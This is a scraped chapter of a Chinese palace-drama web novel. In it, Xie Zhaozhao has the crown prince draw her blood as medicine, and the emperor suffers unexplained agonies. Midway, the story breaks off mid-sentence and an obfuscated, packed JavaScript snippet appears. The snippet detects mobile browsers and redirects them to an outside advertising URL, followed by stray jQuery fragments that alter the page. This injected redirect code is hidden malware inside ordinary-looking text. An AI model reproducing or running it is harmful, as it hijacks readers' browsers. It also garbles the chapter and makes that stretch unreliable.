8. 八个女主

谢昭昭回到殿内时,已在心里编排好说辞,正准备开口向母亲解释,刘珺雁却握住了她的手:“昭儿,阿母知你与太子殿下青梅竹马,或许是情投意合才走到一起。你从小到大最有主意,阿母干涉不了你的决定,只盼你清楚,只要阿母和阿爹还在,你随时都有退路。”


仅“退路”二字,便让谢昭昭酸了眼。


刘珺雁没有让她解释半句,许是察觉到了她有难处,还轻声细语安慰了她很久。


等母亲离开后,谢昭昭一刻不停地换了身便装,藏好匕首,带着雾面和哑光乘马车进了宫。


谢昭昭不知道暗中监视她的人到底是谁,或许是赵晛不放心她,或许是太后的人,也说不好是赵瞿的人。


但既然不管待在东宫还是皇宫都有人找她事,她何不待在赵晛身边,最起码身体还能好受些。


她入宫时,天色已黑。


谢昭昭带了太子手牌,到宫门还是被拦了下来。


宿卫语气恭敬又有些无奈:“陛下近日下了严令,非诏不得随意出入皇宫。若不然您在此等候片刻,卑职让人去通报太子殿下一声?”


谢昭昭点点头,宿卫便立刻让人去请赵晛。


等待之时,她与宿卫攀谈起来:“近日皇宫里可是发生了什么大事,怎么突然戒严起来?”


“陛下的旨意,卑职不敢妄议。”


见宿卫如此战战兢兢,她索性不再多问,心里估摸着此次戒严恐怕与赵瞿突染怪疾有关系。


赵晛来得还算快,他向赵瞿请了口谕,将谢昭昭带进了宫门,边走边问:“阿昭,你怎么来了?”


他似乎还不知情东宫内发生的事情,眉目间满是疲惫之色。


谢昭昭盯了他一会,心中暗暗将他的嫌疑划了去,赵晛将薛蔓当做命根子般,若他知道她用猪血当作药引子糊弄薛蔓,只怕做不到这样平静从容。


“今日表姐的婢女童雨来宜秋宫大闹了一场,她认定我想害死表姐,说我用猪血来替代药引子,当着我阿母和宜秋宫宫人的面大骂我恶毒。我是买了猪血和猪肝,但那不过是为了补身子,药尚局说补气血的珍贵药材只有表姐可以支取,我实在没办法才让雾面去买了猪血。”


赵晛一听这话,面色凝住,似是有话想问又不好意思问出口,看起来有些慌乱。


谢昭昭道:“我将她打了一顿,当众斥她失了智胡言乱语,勉强瞒住了药引之事。”


赵晛总算松了口气。


与赵瞿暴君之名大相径庭,赵晛是前朝后宫众所周知的君子如玉,他崇尚儒道,以仁爱、礼义为立身之本,若是被人知道他娶了谢昭昭便是为了放血当药引子给薛蔓治病,臣子和百姓该如何看待他?


他好言好语安慰起来:“此事是我对不住你,等我回了东宫,必将严惩于她。至于药尚局,往后你想支取什么药材便支取什么药材,怪我先前没有跟詹事说清楚,这些日子让你受了委屈。”


谢昭昭来此并不是为了追究此事,她支开雾面和哑光,跟赵晛并肩向前走着。


沉默了片刻后,她从袖中掏出藏好的匕首:“殿下,我不是为了告状而来,只是不想再被人误会。是以,我希望殿下往后可以亲自来取血,以全我清白之名。”


赵晛脚步一顿,侧身看向她:“阿昭,我从没有怀疑过你的真心。”


“我不怕当药引子,只怕真心错付。”谢昭昭垂下头,“若我日日割肉取血,最后却被有心人诬陷,届时表姐有什么好歹,我便是跳进黄河也洗不清。我如今只此一求,还望殿下成全我。”


赵晛:“可是……”


谢昭昭捏紧了拳头,耐心即将耗尽。


往日她暗恋赵晛时,觉得他哪哪都好,善良、自爱、温柔、有责任心、善解人意。如今再看,只觉得他自私自利,目光短浅,优柔寡断,既要还要。


苦苦哀求让她当药引子的人是他,真让他天天动手,他又觉得不忍,怎么好人都让他当完了?


要不是为了养好身体,谢昭昭连个眼神都不会给他。


她深吸一口气,握住赵晛的手,将匕首塞进了他手里:“今日天色已晚,表姐还未服药。”


一听薛蔓,赵晛眸色沉了沉,总算不再犹豫,将她带到了自己侍疾所居的大吉殿——大吉殿位于天子寝居的立政殿以东,两殿一门之隔,便于赵晛贴身侍疾。


因相隔不远,赵晛特意叮嘱:“父皇龙体抱恙,近日心情不佳,你务必收敛性子,不管夜里听见什么声音都不要出来,万万不可再冲撞了父皇。”


谢昭昭连连点头,眼睛却一眨不眨盯着赵晛取来的小碗:“开始吧,别耽误了表姐病情。”


赵晛撩开她的衣袖,见左臂上被李春巧打出的淤青越发触目惊心,俨然有肿胀腐烂的趋势,不由皱眉:“怎么这么严重?”


她懒得多说,直接伸出了另一只手臂:“那换只手吧。”


赵晛:“但是……”


谢昭昭:“换成腿也行。”


赵晛:“……”


他比划着,迟疑着不知道如何下刀,谢昭昭直接拉过他的手,带着匕首压在自己腕上,语气诚恳:“用点力,我吃劲儿。”


赵晛沉默片刻,终是划开了她的皮肤。


血嘀嘀嗒嗒流进碗里,她却连吭都不吭一声。他忍不住去看她,心里像是有猫爪子在挠,又疼又痒,只觉得每一瞬都煎熬无比。


她别着头,藏在烛火中的半边侧影冷清,垂落的眼睫卷而细长,即使此刻也不显脆弱,坚韧地如同松柏或磐石。


这样善良而柔软,又不失担当冷静的女子,如今是他赵晛的妻。


赵晛心潮荡漾,着迷似的缓缓靠近她,他指腹搭在她的后颈上,正要低头吻上她的耳垂,殿外却突然传来杀猪般的嚎叫。


“啊——”


“疼死朕了!”


“啊好疼啊!啊啊啊疼啊!朕要死了!”


谢昭昭下意识抬头,赵晛猛地回神,慌乱地向后撤回身子,心脏突突跳着。


系统提醒:【赵晛度好感度+1】【赵晛好感度+1】【赵晛好感度+2】【赵晛好感度+1】


谢昭昭听见好感度不断上涨,莫名其妙地看了赵晛一眼,又往殿外瞥去:“什么动静?”


他抿了抿唇,嗓音干涩:“是父皇。”


“这几日不知怎地,父皇总是觉得身上疼,一会是手臂疼,一会是脖子疼,寻不出什么规律,但身上却没有伤口。疼起来时便撕心裂肺,痛哭流涕,有时满地打滚,有时以头撞柱,整个太医院都来看过,就是不知病因。”


寻不出病因,便意味着石药无医,因此赵瞿越发暴戾,这短短几日杀了不知多少人,前朝后宫皆胆战心惊,就连赵晛也如履薄冰,生怕做错事说错话便被赵瞿一剑砍死。


谢昭昭问:“他要这样叫一宿吗?”


“说不好。”赵晛放下血碗,包扎了她腕上的伤口,“你若是觉得吵闹,要么拿棉花堵住耳朵,要么去旁的宫殿暂住。”


刚回了血条,谢昭昭心情还不错,她摆摆手:“殿下不必担忧我,快去看看陛下吧。”


赵晛见她神态自若,忍不住问:“阿昭,你不疼吗?”


“殿下这话十分有趣。”谢昭昭语气淡淡,“刀子割肉还能不疼吗?还是说,非要我如陛下一般满地打滚,尊严尽失,殿下才满意?”


赵晛被怼得心头一跳。


往日他总觉得谢昭昭像一张白纸,开心就是开心,恼火就是恼火,透过那双眼睛便能看清楚她的全部。


因为她活得太简单平凡,便也让人毫无探索欲,甚至难以将她当作一个异性来看。即便很多人认为谢昭昭生得貌美,在他眼中也不过是个好看的花瓶摆设,提不起任何兴趣。


可如今她时而温柔,时而任性,时而冷漠,将他的心搞得七上八下,哪怕进了宫侍疾,他闲暇之余也会莫名想起她,忍不住想要揣摩她的想法。


更不要提方才,他竟然在她毫不知情时,莫名生出了想要亲吻她的念头。险些被发现的那一瞬间心跳如鼓,几乎要冲破胸膛,这样激烈的悸动是以往从未有过的。


“我不是这个意思,你左臂上的伤口记得上药。”


赵晛只道了这么一句,便端着血匆匆离去。


谢昭昭若有所思地看着他的背影。


她查看了赵晛对她的好感度,只差一点就满了十点。以往赵晛好感度增长得很慢,可方才一下就累积涨了五点。


难不成刚刚她走神的时候发生了什么?


谢昭昭仔细回忆,却记不清太多细节,只是感觉到赵晛的手搭在了后颈上,她觉得有些不舒服,正想抬头制止,突然传来赵瞿撕心


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197628|165663||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


裂肺的惨嚎声。


然后便是赵晛一脸心虚地后退,他心虚什么?


难不成赵晛刚才准备对她做什么……可在她被割肉放血的时候,他为什么会想对她做什么?


变态吗?还是赵晛是个s,一看到她流血就兴奋?


谢昭昭越想越觉得有这个可能,赵晛从小到大的生长环境十分压抑,前有赵瞿这个疯公,后有太后那个癫婆,他一直是被掌控被限制的一方,在这种长期极端的压力和束缚之下,或许他内心早已扭曲阴暗。


但偏偏赵晛还需要戴上仁爱的面具,扮演好温润君子,时刻保持着谦逊、谨慎、宽容,如此才能不愧对众人的期望。


若没有薛蔓这个由头,赵晛恐怕这辈子也不会做出这样放肆过界的行为。可现在他不但可以越界,还是她心甘情愿上赶着找虐,完美满足了s和m之间的互动模式,释放出了他压抑多年的天性。


若真是如此,她往后便知道该往哪个方向努力了。


殿外还在不断传来惨叫声,谢昭昭回过神,看到榻边暗几上摆着的一盘子棉花,叫来雾面和哑光:“这棉花你们拿一些,夜里将厢房门拴上,堵好耳朵睡觉,可千万别乱跑。伴君如伴虎,皇宫不比自家里,说话行事都要谨慎。”


两人点头,哑光眼睛亮晶晶的,好似有些兴奋:“奴婢明白!”


“……”谢昭昭忍不住道,“你少听点评书。”


“奴婢明白!”


谢昭昭卸了妆面,让两人退下后,也取了几块棉花塞好了耳朵,随手从殿内闩上了门。


赵晛这一去不知何时才会回来,而且有了方才取血时他的异样,她对他有了防备,自然不愿与他共寝一室。


她今日起了大早,早有些疲惫,躺在榻上不多时便睡了过去。等赵晛三更天回来时,一推门却发现殿门落了锁,他愣了愣,将手收了回来,心底顿生失落。


他在殿外立了片刻,实在耐不住困乏,转身去了偏殿就寝。


四更天左右,立政殿内的赵瞿还未就寝。


他身着绸袍,两条广袖被剪去,衣领后缘也被挖去了一块布料,裸着部分被搓得发红淤血的皮肤。


赵瞿已经连着两日未寝,他双目布满血丝,眼底泛着浑浊,眉间朱砂仍然端正,鸦发垂散在耳前,手中抱着一只香炉大小的红木鱼,眼神微微呆滞。


立政殿内死寂无声,他将侍候的宫人都赶了出去,只余下满殿的数百支烛火通明。赵瞿躬着腰,发抖的手指捏住木槌,咚咚咚敲在木鱼上,他动作有气无力,敲出来的声音却响亮。


其实即使不染怪疾,赵瞿夜里也睡不着觉。


他患有头疾,一到夜里便会半边脑袋发麻,牵连着太阳穴隐隐刺痛,常常从睡梦中疼醒,而后辗转难寐,便抱着红木鱼敲起来。


木鱼声咚咚地响,殿外跪着被赶出的宫人,他们有些人已经伏在地上浅眠。一道如鬼影般的身影缓慢走进了立政殿,宿卫想拦,看清楚来人是谁,又犹豫起来。


迟疑之间,那身影已是踏进赵瞿的视线。


赵瞿慢慢立起耷拉的脑袋,抬了抬无神的双眸,目光正对上了来人的视线。


是太子妃。


他歪着脑袋看她,她好像也在看他,但视线对上便可以看出来她双目无光,眼睛也不对焦。


她没在看他。


谢昭昭还在往前走,她只穿了薄绡单衣,青丝未绾,留几缕碎发垂落颈侧。赤着一双脚,步伐缓慢,走到了墙边,便又转身换了个方向继续走。


赵瞿盯着她看了半晌,扶着桌子站起了身,抱着木鱼,几近顽劣般,凑近了谢昭昭的耳边,猛地敲击起木鱼。


凭什么他疼得睡不着,她却可以睡熟到梦游的地步?


他敲得又快又响,可谢昭昭毫无反应,脚下依旧不停。


赵瞿凑近了她,这才看清楚她耳廓里塞着的棉花,顿时气得咧嘴大笑。


宿卫听见熟悉的笑声心觉不妙,连忙连滚带爬冲进了殿内,跪在地上叩首:“陛下,卑职一时疏忽,卑职罪该万死……”


赵瞿将木鱼砸在地上,笑着拾起地上的剑:“那你们一起去死好了。”


他一手持剑,另一手扯出了谢昭昭耳朵里的棉花,却在不慎触碰到她耳廓的瞬间,浑身猛地一激灵。


好像……不那么疼了?